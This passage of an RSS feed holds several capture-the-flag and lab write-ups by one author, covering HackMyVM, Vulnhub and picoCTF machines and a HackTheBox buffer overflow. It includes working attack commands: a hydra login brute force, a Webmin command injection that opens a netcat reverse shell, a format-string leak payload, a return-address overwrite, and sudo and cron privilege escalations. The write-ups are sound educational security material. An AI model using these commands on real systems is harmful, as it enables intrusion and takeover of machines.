src="https://cdn-images-1.medium.com/max/1024/1*VnLWTIhj5ZbVvqBukvMk4Q.png" /><figcaption>translate the morse code</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*bp9YjhyyqqVA-5eRU2ulvw.png" /><figcaption>login as hangtuah</figcaption></figure><h3>PRIVILEGE ESCALATION (ROOT)</h3><h4>Method 1</h4><p>Checking sudo permission with sudo -l, we know that we can use awk as root. Just check how to exploit it on GTFObins.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h9NTbHzWCYMuWHB8sIhTbg.png" /><figcaption>sudo permission</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*_saTv3Kqkg2onQ8jo91-OA.png" /></figure><h4>Method 2</h4><p>We also can escalate privilege to root using CVE-2021–4034 (PwnKit) since pkexec has SUID binary set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*8bBDoRM5NXK7Oxif3Atv6g.png" /><figcaption>SUID was set in pkexec</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sP6fXZMYnDmFUN1rS8RnQA.png" /><figcaption>exploiting CVE-2021–4034</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9937c5a51b8e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackMyVM: Blog writeup]]></title>
            <link>https://medium.com/@0xwan/hackmyvm-blog-writeup-34ed0eb66501?source=rss-1054b2339bb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/34ed0eb66501</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[0xwan]]></dc:creator>
            <pubDate>Fri, 01 Apr 2022 09:17:43 GMT</pubDate>
            <atom:updated>2022-04-01T09:17:43.682Z</atom:updated>
            <content:encoded><![CDATA[<h3>RECON</h3><p>Start scan the target with nmap.</p><p>sudo nmap -sC -sV -A -O $IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KRJTTCWSpx3l42JxeEXJYg.png" /><figcaption>nmap scan result</figcaption></figure><p>There is only 2 ports open which is port 22(ssh) and port 80(http). Let’s enumerate port 80. You can verify if apache version is vulnerable or not to any attacks by googling.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ViZuGFECUxXYTlSeZuiXyA.png" /><figcaption>port 80</figcaption></figure><p>There is a ping command output but no button or anything. There is also domain name blog.hmv, so we can put it in /etc/hosts file.</p><p>We can run gobuster to find directory.</p><p>gobuster dir -u <a href="http://blog.hmv/">http://blog.hmv</a> -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x .bit,.php,.js,.xml,.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4mMSYSVdEgfM9hCM-ikycA.png" /><figcaption>gobuster output</figcaption></figure><p>There is /my_weblog directory and it was the real homepage of the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y61kjPxYke7sOGeZih-AIg.png" /><figcaption>blog.hmv webpage</figcaption></figure><p>Clicking on every hyperlinks, I found out that this web running nibbleblog CMS. I tried google it, there is an exploit in upload file and it is an authenticated exploit. So we need to find the credentials to use the exploit.</p><p>Continue to brute force the directory after /my_weblog directory.</p><p>gobuster dir -u <a href="http://blog.hmv/">http://blog.hmv</a>/my_weblog -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x .bit,.php,.js,.xml,.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FgyBv9kk3pEVAFAEDDRxIQ.png" /></figure><p>There is admin login page at /my_weblog/admin.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u8bHo9evZvnqBFMdBn-g2A.png" /><figcaption>admin portal login page</figcaption></figure><p>We can try any default credentials like admin:admin, admin:password or admin:nibbles. None of it works. So I continue with directory brute force to find any log files or secret files containing credentials.</p><p>I found endpoints contain potential username ‘admin’. It was at /my_weblog/content/private/config.xml and /my_weblog/content/private/users.xml. The next thing we need is the password. So I tried brute force the password using hydra.</p><p>hydra -l admin -P /usr/share/wordlists/rockyou.txt ‘http-post-form://blog.hmv/my_weblog/admin.php:username=^USER^&amp;password=^PASS^:Incorrect&#39;</p><p>Got the password, we can login to as admin user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*si8Kk6C9EOCb2Dj8fuObOg.png" /><figcaption>admin panel</figcaption></figure><h3>FOOTHOLD</h3><p>Now that I have the credentials, I can use the file upload exploit. I will create a php reverse shell and use it with the exploit script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nARLtk3yT4cpu8Mv-gpW-w.png" /><figcaption>php reverse shell</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*uvj_4am3P1A6rLTpnfiW7w.png" /><figcaption>setting up netcat listener in new terminal</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D2J_0ejT6QmxepeFghkHMQ.png" /><figcaption>running the exploit</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*DBEnTkjilicA3Qo6A6hkIw.png" /><figcaption>got shell as www-data user</figcaption></figure><h3>PRIVILEGE ESCALATION (USER)</h3><p>As user www-data, we can check sudo permission using sudo -l and it seems like we can run git command as user admin. Google for GTFObins for git, we can get command for privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1NkX21jl8ZL0XfVuaNETlg.png" /><figcaption>GTFObins for privilege escalation tips</figcaption></figure><p>So we can run command sudo -u admin git branch --help config and then type !/bin/bash to spawn shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qx84aX1CIDdPJ7YyMVqAng.png" /><figcaption>shell as admin user</figcaption></figure><h3>PRIVILEGE ESCALATION (ROOT)</h3><p>Same as before, checking sudo -l and it says we have permission to run mcedit as root. Playing around with mcedit, it seems like we can edit any file. So I will edit /etc/sudoers to give admin user permission to use /bin/bash as root.</p><p>sudo mcedit -e /etc/sudoers</p><p>And add ‘admin ALL=(root) NOPASSWD: /bin/bash’ in new line as below and save it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*Kh4L0spyC7KmcZpBcFmXuA.png" /><figcaption>adding new permission</figcaption></figure><p>Next step is to run bash in sudo sudo /bin/bash. And now we got shell as root!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*blPpjltm1Rmm_x_sM9CwjQ.png" /><figcaption>root shell!</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=34ed0eb66501" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF 2022: Keygenme writeup (reverse engineering)]]></title>
            <link>https://medium.com/@0xwan/picoctf-2022-keygenme-writeup-reverse-engineering-f05340148ad1?source=rss-1054b2339bb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/f05340148ad1</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[0xwan]]></dc:creator>
            <pubDate>Wed, 30 Mar 2022 04:14:29 GMT</pubDate>
            <atom:updated>2022-03-30T04:17:05.900Z</atom:updated>
            <content:encoded><![CDATA[<h3>CHALLENGE</h3><p>First we identify the filetype by using file command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TuwJAyK--CSl_NxC0JULng.png" /><figcaption>file command output</figcaption></figure><p>So it’s a 64 bit ELF binary and the symbols are stripped that means it will be a bit hard to do a static analysis since the function name are stripped.</p><p>I also ran checksec on this file to see any protection applied. Just in case the file has ASLR enable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*699zjk9UNeiiI1iaCPQ_2A.png" /><figcaption>checksec output</figcaption></figure><p>As you can see the PIE is enabled, that means we will need to do some math to calculate the address of the instruction while doing dynamic analysis. Now lets run the program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*McmFW5gBtd3-H5THqtL3GQ.png" /></figure><p>The program ask for a license key and will do some checking in the background to see if the key is valid or not. So I will open the file on ghidra to see how the check works.</p><p>Since the file is stripped, you will not find the main() function easily. So the trick is to find where is main, go to entry and double click on the first parameter. That will be the main() function. You can rename it to main() to make things easier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vL4gK6g-UQ1NisMeLZmuoQ.png" /><figcaption>finding main()</figcaption></figure><p>In main() there is a function that was called to check whether the user input is valid or not. If you click on the function, you will see a bunch of stuff. And at the local variable, you will see a hex value. You can convert it to ascii, it will reveal some part of the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*c3kHtFXUaM-wgUPNVf47Zw.png" /><figcaption>flag was initialized in local variable</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sZNRK6q-odU0uGpFIMlb8A.png" /><figcaption>convert from hex in cyberchef</figcaption></figure><p>The flag is still missing the last part. Below is the part of the code that is checking the last part of the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*j3hqlvA59zooDPLq180zPg.png" /></figure><p>As you can see from above, the size of the flag 0x24 which is 36 in decimal. And the flag at index 27 until 35 are initialize in this part but we don’t know the value. So we need to do some dynamic analysis using gdb to find out the values.</p><p>First we need to find the breakpoint where the last part of the flag are being initialized. So I will disassemble the binary using objdump -d keygenme and find the instruction. Under the .text section, 13c8 will be our offset. Please note that this is not the real address we will be using. We need to do some math or addition before getting the real address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*OCMxvgjDE7DirgzlQA-qOA.png" /></figure><p>Now open the file in gdb, run the binary and stop it using ctrl + c. Then type info proc map. The address that is highlighted is the base address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YG8CeJU47l2UIgW0HA5voA.png" /></figure><p>Add the base address and the offset we found, 0x555555554000 + 0x13c8 = 0x5555555553c8. Then set break point at 0x5555555553c8 with command b *0x5555555553c8. Run the program, enter input and inspect $RAX register. $RAX will temporarily store the character of our flag in hex. As you can see below, the flag[27] is 0x64 which is ‘d’ in ascii.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*coXZjmVOhe8YU-P5BV7Q5A.png" /></figure><p>We only got 1 character. To get the rest of the flag, we just need to jump to each instruction one by one and inspect the $RAX. To jump to next instruction, enter s and inspect changes in $RAX register until you get the whole flag or until you find }. Make sure to convert hex value to ascii to get the real value.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f05340148ad1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF 2022: Flag Leak writeup (binary exploitation)]]></title>
            <link>https://medium.com/@0xwan/picoctf-2022-flag-leak-writeup-binary-exploitation-8d5194fb36f0?source=rss-1054b2339bb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d5194fb36f0</guid>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[0xwan]]></dc:creator>
            <pubDate>Wed, 30 Mar 2022 04:06:00 GMT</pubDate>
            <atom:updated>2022-03-30T04:16:22.008Z</atom:updated>
            <content:encoded><![CDATA[<h3>CHALLENGE</h3><p>We were given an ELF binary 32-bit. I ran checksec to see protection applied on the binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*zCTSS2n_gLuafWnWZvjOFw.png" /></figure><p>NX is enabled that means our shellcode will not going to be executed. And the other protections are disabled. Then I tried ran the file to see what does it do. The file takes user input and display it back to the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*dTPaLgBZtLq-M7WN0RczOQ.png" /></figure><p>Open the binary in Ghidra to see what is happening in the background. We are lucky the binary is not stripped. So there is no problem to identify functions. I analyzed function called vuln() and found out that it has ‘format string’ vulnerability in printf().</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*Jfz7l1NbM4LpdebJMdKEzw.png" /></figure><p>By using this vulnerability, you can leak the content of the stack. If you enter %p while the binary taking user input, the output will print the pointer that is stored on stack.</p><p>The flag is stored as local variable of function vuln(). If you notice the function readflag() puts the flag inside local_4c.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-3wXJUBsnIhunWbWA8DkJQ.png" /></figure><p>So it is possible to leak the flag that is stored on stack. But the problem is we don’t know where is the location of the flag. So I will try to find the location using gdb.</p><p>But before that, we will disassemble the binary using objdump to find 2 addresses which is the return address of the vuln() function and the address before printf() in vuln() function. These addresses is just for reference. Return address is used because the flag will not stored before the return address since the flag is the local variable of the vuln(). And the second address is just for setting up breakpoint.</p><p>0x8049418 &lt;=(return address) 0x80493a3 &lt;=(for breakpoint)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*wuBjTq_Lzz0_r9Av62mi1g.png" /><figcaption>visualization of stack for function vuln()</figcaption></figure><p>Now in gdb, set breakpoint with break *0x80493a3 then view the stack with x/70x $esp. Then looking for the return address 0x8049418.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*frJEp6H7BIliy-zI3rBcdA.png" /><figcaption>viewing the stack</figcaption></figure><p>From the top, I count how many address until I reach the return address. Top to bottom, left to right, I found out the return address is located at 55 relative to the top of the stack. To verify this, try run the program and enter %55$p and you will get the return address as the output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*y6jeqeHxdphDWg0gjYx-pg.png" /><figcaption>verify the location</figcaption></figure><p>Now we can look for the flag from the return address we had found until the top of the stack. You can convert all the hex to ascii to make it easier to find them.</p><p>So after converting all the hex, I found the location of the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*Wi_CY8ZOP1iAkWMszeW3uw.png" /></figure><p>I count the location of the flag is around 36 relative to the top of the stack. So the payload to retrieve the flag is %36$p%37$p%38$p%39$p%40$p%41$p%42$p%43$p%44$p%45$p%46$p%48$p%49$p.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q8x4OvhB9sM7vU3DLCvAfg.png" /></figure><p>Then we can convert to ascii to get the real flag.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d5194fb36f0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnhub Nezuko writeup]]></title>
            <link>https://medium.com/@0xwan/vulnhub-nezuko-writeup-2b060ce06de2?source=rss-1054b2339bb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/2b060ce06de2</guid>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[0xwan]]></dc:creator>
            <pubDate>Sat, 22 Jan 2022 09:49:07 GMT</pubDate>
            <atom:updated>2022-01-22T13:16:19.885Z</atom:updated>
            <content:encoded><![CDATA[<p>Walkthrough vulnhub machine by <a href="https://www.vulnhub.com/author/yunaranyancat,635/">yunaranyancat</a> called Nezuko</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*j1tfWH4Y2X4oCluuMvAYSg.jpeg" /></figure><p><em>Assalamualaikum, peace be upon you</em></p><p>Hai readers! this is my second writeup on medium :D happy reading!</p><p>Btw if you are trying to get into CTF or boot2root I really recommend you solving this box on your own before you read my walkthrough. It’s really fun and straight forward challenge.</p><p>If you don’t know what CTF or boot2root is, here I will try to walk you through the process of trying to get access to a machine or server and raise my privilege until I get an administrator role or root user. Happy reading!! :D</p><h3>ENUMERATION</h3><p>At first I got only 2 ports open but after I read a text file on port 80, I started to do all ports scan and found out there is 3 ports open. So remember to scan all ports :D</p><p>nmap -p- --min-rate=1000 -v 192.168.0.110</p><p>nmap -sC -sV -O -p 22,80,13337 192.168.0.110 # ports got from first scan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*B_GdST7j6O_NFOrNlilbag.png" /><figcaption>All ports scan result</figcaption></figure><p>Visit port 80 and run dirsearch on background to find interesting directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*MZzpC_KCxzTIliGzCVFUeA.png" /><figcaption>dirsearch result</figcaption></figure><p>I visit the robots.txt first and found a base32 string. Decode the string and it tells me to enumerate the other port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*Lj2wkpHwYzsmD00TJTVQzw.png" /><figcaption>base32 string</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*EUnWvPIbLCahhYJYvZ9RkQ.png" /><figcaption>decoded message</figcaption></figure><p>So move on to the other port which is 13337. This port has SSL so if we want to visit it we need to use HTTPS. I visit this port and it shows me a Webmin login panel</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4PuuM1hbEyvyIKhm-4eH-w.png" /><figcaption>Webmin on port 13337</figcaption></figure><p>If I look at the nmap scan result, this webmin is outdated so I look for an exploit or any CVEs related to Webmin 1.920. Luckily it does xD and it’s an RCE</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*E5UXDZ_-7IJqa6LhlNUrFA.png" /></figure><h3>FOOTHOLD</h3><p>Let’s find out how can we exploit it. Looking through github and articles, this Webmin has a command injection vulnerability at /password_change.cgi via POST request. So I will use curl to get a shell</p><p>curl -X POST -k <a href="https://192.168.21.130:13337/password_change.cgi">https://192.168.21.130:13337/password_change.cgi</a> -d “user=root&amp;pam=&amp;expired=2&amp;old=test|nc 192.168.21.129 4444 -e /bin/bash&amp;new1=test&amp;new2=test”</p><p>Now I successfully hack the machine and logged in as user nezuko</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iGrOiRi2UqC7Ay3QD9Wuyg.png" /><figcaption>got user nezuko</figcaption></figure><p>To gain persistent on this machine, I copy my public ssh key to /home/nezuko/.ssh/authorized_keys file so next time I want to access this machine I just use ssh. Now I can grab nezuko’s flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/268/1*muS8lwUmPWr7Nrqwke5JCA.png" /></figure><h3>USER ZENITSU</h3><p>I looked around nezuko’s home directory but I did not get anything interesting to change to user zenitsu. But to change as user zenitsu is easy because zanitsu’s password hash is in the /etc/passwd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*uOQUPQTf0qIdruLIF5CwUg.png" /><figcaption>password hash</figcaption></figure><p>Crack the hash with johntheripper and we get the password!</p><h3>ROOT</h3><p>Now to get the root user we need to enumerate. I run linpeas.sh to find out anything that I could use to get root user. Since this is an old machine I found out that this machine is vulnerable to the CVE-2021–3156 which is a heap overflow vulnerability in sudo version 1.8.21p2. Unfortunately I don’t find any exploit that could work on this machine so I move on. Then I look at bunch of stuff until I read /var/log/auth.log and noticed that root user run a bash script file as cronjob every 5 minutes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EigJOjVMZ_o39MprY3SU4A.png" /></figure><p>send_message_to_nezuko.sh are located in zenitsu’s home directory inside /to_nezuko directory. This script is used to send a message to nezuko every 5 minutes. what a simp asking for root to send a message to your crush for every 5 minutes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PhoJ3oCgv3vvlaW5Tdhzmw.png" /><figcaption>message from a simp guy</figcaption></figure><p>Luckily I have a permission to write something on this script. Since this script is run by root as cronjob, so I will add a command at the bottom. The command will let the root copy /bin/bash file to zenitsu’s home directory and give the file a SUID</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*Sh4L24Zz13yjRTLoqRJTfg.png" /><figcaption>exploiting writeable script ran by root as cronjob</figcaption></figure><p>Just wait until the bash file appear at zenitsu’s home directory and run it with -p option</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*ePPKG_nvHFFq4PLmT3FSFQ.png" /><figcaption>getting root shell</figcaption></figure><p>Now we are root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*8WRHangbOgZIRzdoQLA8Gw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2b060ce06de2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Easy Buffer Overflow]]></title>
            <link>https://medium.com/@0xwan/easy-buffer-overflow-63706c4656cb?source=rss-1054b2339bb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/63706c4656cb</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[buffer-overflow]]></category>
            <dc:creator><![CDATA[0xwan]]></dc:creator>
            <pubDate>Wed, 12 Jan 2022 09:23:30 GMT</pubDate>
            <atom:updated>2022-01-12T15:03:17.275Z</atom:updated>
            <content:encoded><![CDATA[<p>Solving a simple buffer overflow challenge from HackThebox Cyber Santa (Mr Snowy)</p><p><em>Assalamualaikum and peace be upon you</em></p><p>Hi readers! recently I have been studying buffer overflow and binary exploitation because it is kind of interesting to me. In this blog I will try to explain the concept while solving an easy buffer overflow challenge form HackTheBox.</p><h3>Introduction</h3><blockquote>A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold or when a program attempts to put data in a memory area past a buffer. — OWASP Foundation</blockquote><p>Buffer overflow is a vulnerability in executable binary or executable file. This vulnerability usually allow user to enter a long input and then change the execution flow of the vulnerable program according to the user desired flow. Buffer overflow occurs because the program takes input from user without checking how much value a buffer can store.</p><p>A simple example of what buffer overflow is, you can try imagine a building that has a 50 levels. And you are only allowed to visit 10 levels above you from your current level. Currently you are in level 20 so that means you are only allowed to visit until level 30. So what if you visit more than that? you are entering a level that is not suppose to be visited right? That is the same of what buffer overflow is.. kinda. The buffer is set to only store 10 characters but you fill it with 12 or more, then the overflowed characters start to overwrite other value on the stack memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*sx-DS8lsB5CJclZiqJihvw.png" /><figcaption>Visualization on how buffer overflow affects neighbouring characters</figcaption></figure><p>If this is a vulnerability then how can we exploit them? We can try to overflow the buffer until we reach a ‘level’ called RIP (for 64bit) or EIP (for 32bit) and then put an evil function inside RIP/EIP. RIP/EIP is a register that stores an address of the next instruction to be executed. So if we put an address of a system() function inside RIP, our program will execute the system() and will take ‘/bin/bash’ as the argument (if we push ‘/bin/bash’ into the stack) then we will get a shell!</p><p>Now if you understand how it works, let’s try to solve some CTF challenge from HTB.</p><h3>Challenge</h3><p>I have an executable 64 bit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*So3BVupB9OzfsRUa6t2FhQ.png" /></figure><p>Then I will run checksec to see what kind of protection that this file has.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/348/1*r9IrwJICBxnIhkOOCTEt3g.png" /><figcaption>to see the protection</figcaption></figure><p>It says there is no canary that means we don’t have to worry about the stack cookies. We also got NX enabled which means you can’t push a shellcode into the stack and get a shell. Lastly we do not get PIE, which means the base address of the function will not change every time the program is being execute.</p><p>Now lets test the program if it has buffer overflow. You can just enter a random long input until we get segmentation fault.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*raN93qqLLF_5hs0GkPnUwA.png" /><figcaption>buffer overflow on second input</figcaption></figure><p>We got the segmentation fault! that means there is a buffer overflow on second input. Now lets open it with gdb to find out how many characters we need to fill the buffer until we reach ‘level’ RIP. I use gdb-pwndbg. If you don’t know how to get it you can visit the link <a href="https://github.com/pwndbg/pwndbg">here</a>. After that I will use cyclic (a tool from <a href="https://github.com/Gallopsled/pwntools">pwntools</a>) to generate a long input so that we can know how many characters to fill the buffer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bWWRTjKnS-5op-Lby-LhkA.png" /><figcaption>result of filling the buffer with long input</figcaption></figure><p>As you can see at the image above, I entered a 100 characters long. If you look at the list of RAX until RIP you can see the characters that I entered overwrite the content of RBP and RSP. Our goal is to overwrite the RIP. So now I can copy the saaa from the RSP and use the command cyclic -l saaa to get the length of the characters that I actually need to fill the buffer with until I reach RIP. And then I got 72. That means I just need to fill 72 of junk characters (can be any letter or character) and then append an evil function to get the flag.</p><p>How do we know what is the ‘evil’ function here? So I did open this file in ghidra and there is a function called deactivate_camera that will print the flag. So I open this file with objdump objdump -d mr_snowy to get the address of the function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*zXWxfDCuiBBRCFNN_riqsA.png" /></figure><p>As you can see the address of the function is 0x401165. So we need to overwrite RIP with this address and then RIP will execute the function and print the flag. So now our plan to exploit the buffer overflow is like this:</p><p>(72 junk characters) + (deactivate_camera fucntion address)</p><p>The command will be:</p><p>python -c &#39;print &quot;A&quot;*72 + &quot;\x65\x11\x40\x00\x00\x00\x00\x00&quot;&#39;</p><p>I put A’s times 72 as the junk characters and append the function address but I wrote it in backwards according to little endian format. In this challenge I need to add 1\n before A’s because the buffer overflow happen after I enter option 1. So the final command will be:</p><p>python -c &#39;print &quot;1\n&quot; + &quot;A&quot;*72 + &quot;\x65\x11\x40\x00\x00\x00\x00\x00&quot;&#39; | ./mr_snowy</p><p>And then we successfully exploit the buffer overflow 🥳 and here is the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*00bGKxDore3Ak73JL9_8PA.png" /></figure><p>That’s all from me thank you for your effort reading this blog! I really appreciate it :) hope you understand a bit about buffer overflow. ciao</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=63706c4656cb" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>